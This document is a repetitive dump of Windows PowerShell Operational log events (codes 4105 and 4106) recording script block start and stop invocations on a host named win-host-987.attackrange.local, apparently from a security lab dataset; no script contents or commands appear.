Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032507
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032506
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032489
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032483
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032461
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032460
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032459
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032458
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
